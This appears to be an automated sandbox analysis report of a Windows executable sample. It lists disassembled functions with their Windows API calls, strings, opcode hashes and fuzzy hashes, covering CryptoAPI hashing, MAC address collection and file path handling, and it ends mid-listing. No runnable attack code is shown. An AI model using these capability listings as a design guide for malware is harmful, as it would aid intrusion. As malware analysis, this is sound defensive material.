Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00640000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00640000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
